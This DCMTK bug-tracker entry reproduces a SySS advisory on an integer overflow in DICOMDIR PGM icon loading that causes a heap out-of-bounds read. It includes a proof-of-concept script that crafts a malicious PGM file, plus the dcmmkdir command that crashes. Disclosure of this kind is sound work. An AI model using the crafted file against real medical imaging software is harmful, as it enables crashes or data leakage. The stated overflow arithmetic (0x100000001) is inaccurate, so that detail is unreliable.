DCMTK - Bug #1243

SYSS-2026-046: Integer overflow in DICOMDIR PGM icon loading

2026-07-03 12:28 - Michael Onken

Status:	Resolved	**Start date:**	2026-07-03
Priority:	Normal	**Due date:**	
Assignee:		**% Done:**	0%
Category:		**Estimated time:**	0:00 hour
Target version:			
Module:	dcmdata	**Compiler:**	All
Operating System:	All		

Description

As reported by Matthias Deeg (SySS GmbH):

SYSS-2026-046 — Integer overflow in DICOMDIR PGM icon loading

Field	Value
Advisory ID	SYSS-2026-046
Product	DCMTK (DICOM Toolkit)
Manufacturer	OFFIS e.V. / DCMTK Community
Affected Version(s)	3.7.0
Tested Version(s)	3.7.0
Vulnerability Type	Integer Overflow or Wraparound (CWE-190)
Risk Level	High
Solution Status	Not fixed
Manufacturer Notification	2026-07-02
CVE Reference	Not yet assigned
Author of Advisory	Matthias Deeg, SySS GmbH

Overview

DCMTK is an open-source collection of libraries and applications implementing large parts the DICOM (Digital Imaging and Communications in Medicine) standard. [1]

DCMTK's DICOMDIR icon image loading is vulnerable to an integer overflow in the PGM image size calculation. An attacker who can supply a malicious PGM file referenced as an external icon can cause a heap out-of-bounds read in the icon scaler, leading to a process crash or potential information disclosure.

Vulnerability Details

```
The function DicomDirInterface::getIconFromFile() in libsrc/dcddirif.cc
(line 4489) computes the PGM image buffer size by multiplying the width
and height parsed from the PGM file header:

  unsigned int pgmWidth, pgmHeight = 0;
  // ... values parsed from PGM file via sscanf()
  const unsigned long pgmSize = pgmWidth * pgmHeight;
  Uint8 *pgmData = new Uint8[pgmSize];

Both pgmWidth and pgmHeight are unsigned int. Their product is computed
as unsigned int, and only then assigned to unsigned long.

On any platform where unsigned int is 32 bits, a crafted PGM file with
```

```
dimensions 4294967295 * 4294967295 produces pgmSize = 1 after overflow
(4294967295 * 4294967295 = 0x100000001, truncated to 32 bits = 1).

The allocation new Uint8[1] succeeds, and fread() reads exactly 1 byte
from the PGM file.

The icon scaler is invoked at line 4505 of dcddirif.cc:

  result = ImagePlugin->scaleData(pgmData, pgmWidth, pgmHeight,
                                  pixel, width, height);

The scaler implementation (DicomDirImageImplementation::scaleData in
dcmjpeg/libsrc/ddpiimpl.cc, line 60) casts the dimensions from
unsigned int to Uint16 without validation:

  DiScaleTemplate<Uint8> scale(1,
      OFstatic_cast(Uint16, srcWidth),   // 4294967295 -> 65535
      OFstatic_cast(Uint16, srcHeight),  // 4294967295 -> 65535
      OFstatic_cast(Uint16, dstWidth),
      OFstatic_cast(Uint16, dstHeight),
      1);
  scale.scaleData(OFstatic_cast(const Uint8 **, &srcData),
                  &dstData, 1 /* interpolate */);

The DiScaleTemplate constructor (dcmimgle/include/dcmtk/dcmimgle/discalet.h,
line 148) stores the truncated dimensions:

  DiScaleTemplate(const int planes,
                  const Uint16 src_cols,   // resolution of source image
                  const Uint16 src_rows,
                  const Uint16 dest_cols,
                  const Uint16 dest_rows,
                  const Uint32 frames,
                  const int bits = 0)

The scaleData() method (line 187) then iterates over the source image
using the truncated dimensions (65535 * 65535), reading from the 1-byte
heap allocation through the interpolatePixel() method, causing a heap
out-of-bounds read.

The root cause is the unchecked cast from unsigned int to Uint16 in the
scaler (ddpiimpl.cc:60), which silently truncates dimensions without any
bounds validation.
```

Proof of Concept (PoC)

```
The integer overflow can be demonstrated using a specially crafted PGM
file. The following shell script exemplarily creates such a file named
demo.pgm.

cat > create_pgm.sh << 'EOF'
#!/bin/bash
printf 'P5\n4294967295 4294967295\n255\n' > demo.pgm
printf '\x00' >> demo.pgm
EOF

If this PGM file is processed by a vulnerable DCMTK component like
dcmmkdir, a heap out-of-bounds read is triggered causing a segmentation
fault in this proof of concept example. The DICOM file PAT001 does not
contain pixel data and thus forces a fallback to the default icon.

dcmmkdir +X --default-icon demo.pgm PAT001
E: no pixel data found in DICOM dataset
W: cannot create monochrome icon from image file, using default
[1]    27078 segmentation fault (core dumped)  dcmmkdir +X --default-icon exploit.pgm PAT001
```

Solution

Check for overflow before the allocation and use 64-bit arithmetic.

Disclosure Timeline

```
2026-07-02: Vulnerability reported to manufacturer
```

References

- DCMTK project website https://dcmtk.org/en/
- SySS Security Advisory SYSS-2026-046 https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2026-046.txt
- SySS GmbH, SySS Responsible Disclosure Policy https://www.syss.de/en/responsible-disclosure-policy

Credits


```
This security vulnerability was found by Matthias Deeg of SySS GmbH with
the assistance of SySS AI.

E-Mail: matthias.deeg (at) syss.de
Public Key: https://www.syss.de/fileadmin/dokumente/PGPKeys/Matthias_Deeg.asc
Key fingerprint = D1F0 A035 F06C E675 CDB9 0514 D9A4 BF6A 34AD 4DAB
```


Disclaimer

Copyright

History

#1 - 2026-07-03 14:32 - Michael Onken

- Status changed from New to Resolved

Fixed with commit 534e146b672ccd13d1a2b134ef623840e775396a